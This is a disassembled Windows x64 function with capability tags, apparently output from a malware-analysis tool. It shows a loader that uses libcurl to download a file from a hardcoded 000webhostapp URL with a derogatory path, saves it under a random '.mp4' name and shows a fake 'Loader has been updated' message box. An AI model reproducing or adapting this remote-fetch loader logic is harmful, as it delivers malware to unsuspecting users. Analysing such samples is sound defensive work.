Function at 0x14005eef0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1380]
mov eax, 0x1480
call fcn.1400ba8d0
sub rsp, rax
movaps xmmword [rsp + 0x1470], xmm6
movaps xmmword [rsp + 0x1460], xmm7
mov rax, qword [0x1400e8080]
xor rax, rsp
mov qword [rbp + 0x1350], rax
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
lea edx, [rbx + 0x40]
lea rcx, [rsp + 0x78]
call fcn.14003c740
mov rcx, rax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x78], gethostname
mov qword [rbp - 0x70], 0x3f
movups xmm0, xmmword [str.https:__authflyside.000webhostapp.com_nolgbtsallowed]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400c0218]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400c0228]
movups xmmword [rax + 0x20], xmm0
mov eax, dword [0x1400c0238]
mov dword [rcx + 0x30], eax
mov byte [rcx + 0x34], bl
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x1344], 0xffffffff
mov dword [rbp - 0x3c], eax
lea edx, [rbx + 1]
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 - 0x3c], eax
inc rdx
cmp rdx, 0x270
jb 0x14005efc0
mov dword [rbp - 0x40], 0x270
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
call fcn.140056280
mov ecx, eax
lea rax, [rcx + rcx*2]
test eax, eax
jne 0x14005f018
lea rcx, [rsp + 0x30]
call fcn.140056280
mov ecx, eax
lea rax, [rcx + rcx*2]
cmp eax, 1
jb 0x14005f003
shr rax, 0x20
lea edx, [rax + 1]
shl rdx, 5
add rdx, qword [0x14064ad98]
lea rcx, [rsp + 0x38]
call fcn.1400506f0
nop
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x14005f076
lea rax, [rcx + 4]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x38]
mov dword [rax + rcx], 0x34706d2e
mov byte [rax + rcx + 4], 0
lea rax, [rsp + 0x38]
jmp 0x14005f097
mov qword [rsp + 0x20], 4
lea r9, str..mp4
xor r8d, r8d
lea edx, [r8 + 4]
lea rcx, [rsp + 0x38]
call fcn.14003c5b0
movups xmm7, xmmword [rax]
movups xmmword [rbp - 0x68], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm6
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14005f0f5
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f0f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f0f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ba4a8
movdqa xmm0, xmmword [0x1400d5e20]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
lea rdx, [rbp - 0x68]
movq rcx, xmm7
psrldq xmm6, 8
movq rax, xmm6
cmp rax, 0x10
cmovae rdx, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14005f140
lea rcx, [rsp + 0x58]
call fcn.14003c4b0
nop
call fcn.14006c1e0
mov rbx, rax
test rax, rax
jne 0x14005f18c
lea rdx, str.Failed_to_initialize_libcurl.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140052c40
lea rdx, [0x140052e10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov bl, 1
jmp 0x14005f257
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
lea rdx, [0x1400c01b8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x14005f1e1
lea rdx, str.Failed_to_open_output_file_for_writing.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140052c40
lea rdx, [0x140052e10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call fcn.14006c1c0
mov bl, 1
jmp 0x14005f257
lea r8, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae r8, qword [rsp + 0x78]
mov edx, 0x2712
mov rcx, rbx
call fcn.14006e9e0
mov r8, rdi
mov edx, 0x2711
mov rcx, rbx
call fcn.14006e9e0
mov rcx, rbx
call fcn.14006c2a0
mov esi, eax
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbx
call fcn.14006c1c0
test esi, esi
je 0x14005f255
lea rdx, str.Failed_to_download_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140052c40
mov rbx, rax
mov ecx, esi
call fcn.14006b8d0
mov rdx, rax
mov rcx, rbx
jmp 0x14005f170
xor bl, bl
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14005f297
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f292
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f292
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ba4a8
test bl, bl
je 0x14005f2a4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor r9d, r9d
lea r8, [0x1400cd89e]
lea rdx, str.Loader_has_been_updated._Relaunch_our_application_please
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14005e300
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3